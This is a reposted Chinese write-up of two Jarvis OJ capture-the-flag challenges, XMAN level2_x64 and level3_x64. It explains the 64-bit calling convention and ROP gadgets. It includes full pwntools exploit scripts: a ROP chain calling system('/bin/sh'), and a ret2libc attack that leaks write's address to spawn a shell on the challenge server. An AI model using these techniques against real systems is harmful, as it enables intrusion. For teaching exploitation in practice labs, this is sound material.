[转]Jarvis OJ- [XMAN]level2/3_x64-Writeup
Posted M4x@10.0.0.55
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[转]Jarvis OJ- [XMAN]level2/3_x64-Writeup相关的知识,希望对你有一定的参考价值。
学弟写的挺好的,我就直接转过来了 原文链接:http://www.cnblogs.com/ZHijack/p/7940686.html
两道64位栈溢出,思路和之前的32位溢出基本一致,所以放在一起
在这两道中体现的32位和64位的主要区别在于函数参数传递的方式
在32位程序运行中,函数参数直接压入栈中
调用函数时栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->···->参数1
在64位程序运行中,参数传递需要寄存器
64位参数传递约定:前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9中
参数超过六个时,从第七个开始压入栈中
Level2_x64
和32位level2程序逻辑基本一致
只要在调用system函数传递参数“/bin/sh”时,将其传入寄存器即可。
Something new
可以使用ROPgadget搜索我们需要的rop链
ROPgadget可以在程序的汇编代码中寻找字符串或命令
箭头所指pop rdi ; ret 即为将栈顶元素弹出并存入寄存器rdi,ret返回栈。
可以利用此类语句将函数参数传入寄存器。
exp:
#!usr/bin/env python # -*- coding: utf-8 -*- from pwn import * io = remote("pwn2.jarvisoj.com",9882) elf = ELF("./level2_x64") sys_addr = elf.symbols["system"] bin_addr = 0x600A90 #利用ROPgadget获得 rdi_ret = 0x4006B3 payload = \'\' payload += \'a\' * 0x88 payload += p64(rdi_ret) payload += p64(bin_addr) payload += p64(sys_addr) io.recvline() io.sendline(payload) io.interactive() io.close()
结果如下
Level3_x64
和上一个相同,差别只在调用函数时参数的传递
按照参数传递约定,write函数需要三个参数,需要rdi,rsi,rdx三个寄存器,但是没有发现所需要的第三个寄存器rdx
所以可以先跳过第三个参数(读入长度)
写好exp之后可以调试下,查看在调用函数之前,rdx的值,如果rdx值>=8,那么就不需要处理,
exp
#!usr/bin/env python # -*- coding: utf-8 -*- from pwn import * context.log_level = \'debug\' io = remote("pwn2.jarvisoj.com",9883) elf = ELF("./level3_x64") write_plt = elf.plt["write"] write_got = elf.got["write"] func = elf.symbols["vulnerable_function"] libc = ELF("./libc-2.19.so") write_libc = libc.symbols["write"] sys_libc = libc.symbols["system"] bin_libc = libc.search("/bin/sh").next() rdi_ret = 0x4006B3 rsi_ret = 0x4006B1 payload1 = \'a\' * 0x88 payload1 += p64(rdi_ret) + p64(1) # rdi payload1 += p64(rsi_ret) + p64(write_got) + p64(0xdeadbeef) #rsi 和 r15 payload1 += p64(write_plt) + p64(func) io.recvline() io.sendline(payload1) write_addr = u64(io.recv(8)) sys_addr = write_addr - write_libc + sys_libc bin_addr = write_addr - write_libc + bin_libc payload2 = \'a\' * 0x88 payload2 += p64(rdi_ret) + p64(bin_addr) payload2 += p64(sys_addr) + p64(0xdeadbeef) io.recvline() io.sendline(payload2) io.interactive() io.close()
结果:
关于程序中寄存器不够的问题,留一个链接http://m.blog.csdn.net/zsj2102/article/details/78560300
讲的还算清楚
以上是关于[转]Jarvis OJ- [XMAN]level2/3_x64-Writeup的主要内容,如果未能解决你的问题,请参考以下文章
Jarvis OJ - [XMAN]level1 - Writeup
Jarvis OJ - [XMAN]level2 - Writeup
Jarvis OJ - [XMAN]level2 - Writeup
Jarvis OJ - [XMAN]level1 - Writeup——简单shellcode利用